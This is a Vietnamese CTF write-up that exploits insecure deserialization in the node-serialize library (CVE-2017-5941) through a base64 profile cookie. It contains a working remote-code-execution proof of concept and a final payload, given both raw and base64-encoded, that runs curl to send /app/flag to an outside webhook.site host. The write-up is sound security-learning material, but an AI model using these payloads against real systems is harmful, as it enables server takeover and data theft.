# node-serialize ![](https://hackmd.io/_uploads/SJ8qneMTn.png) Trang web có vẻ chả có gì cả nhưng hãy chú ý đến cookie của nó **eyJ1c2VybmFtZSI6ICJndWVzdCIsImNvdW50cnkiOiAiS29yZWEifQ==** Mình thử encode nó thì nhận được ```{"username": "guest","country": "Korea"}```, country Korea dạo này hay gặp các pháp sư Hàn Quốc ghê, node-serialize tên chal nghe quen quen sau một hồi google search thì mình tìm được lỗ hổng của nó, có vẻ là [CVE-2017-5941](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf) Được rồi đi sâu vào phân tích nó thử xem ``` const express = require('express'); const cookieParser = require('cookie-parser'); const serialize = require('node-serialize'); const app = express(); app.use(cookieParser()) app.get('/', (req, res) => { if (req.cookies.profile) { let str = new Buffer.from(req.cookies.profile, 'base64').toString(); // Special Filter For You :) let obj = serialize.unserialize(str); if (obj) { res.send("Set Cookie Success!"); } } else { res.cookie('profile', "eyJ1c2VybmFtZSI6ICJndWVzdCIsImNvdW50cnkiOiAiS29yZWEifQ==", { maxAge: 900000, httpOnly: true }); res.redirect('/'); } }); app.listen(5000); ``` Nhìn vào đoạn code nếu không có giá trị của cookies.profile, một đoạn base64-encoded sẽ được lưu vào cookie, nếu tồn tại cookies.profile thì sẽ base64 decode và unserialize nó Như đã nói sau khi decode ta nhận được ```{"username": "guest","country": "Korea"}``` Dựa trên references trên ta có thể thấy ngay đoạn code có thể thực thi RCE. Đi sâu vào references serialize/lib/serialize.js ta thấy một vulnerable function eval() được sử dụng ở line 74-75 ![](https://hackmd.io/_uploads/HJ4t1-M62.png) Để có thể thực thi được hàm trên, FUNCFLAG phải chứa cả khóa và giá trị được định nghĩa ở đầu ![](https://hackmd.io/_uploads/rJ-q1bGah.png) Mình có thử build một đoạn code nhỏ ``` const serialize = require('node-serialize'); data = `{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error, stdout, stderr) {console.log(stdout); }); return 'nope';}()", "country":"Korea"}` serialize.unserialize(data); console.log(data); ``` And boom ta đã thực thi được RCE ![](https://hackmd.io/_uploads/Skrl-WMTh.png) Tổng hợp tất cả ta có được đoạn exploit code sau ```{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl https://webhook.site/d52fda8c-cf2f-4405-a3d2-9241a2718feb/?c=$(cat /app/flag)'); return 'nope';}()", "country":"Korea"``` Encode nó ```eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIGh0dHBzOi8vd2ViaG9vay5zaXRlL2Q1MmZkYThjLWNmMmYtNDQwNS1hM2QyLTkyNDFhMjcxOGZlYi8/Yz0kKGNhdCAvYXBwL2ZsYWcpJyk7IHJldHVybiAnbm9wZSc7fSgpIiwgImNvdW50cnkiOiJLb3JlYSJ9``` và boom we got the flag ![](https://hackmd.io/_uploads/ryMFbZza2.png)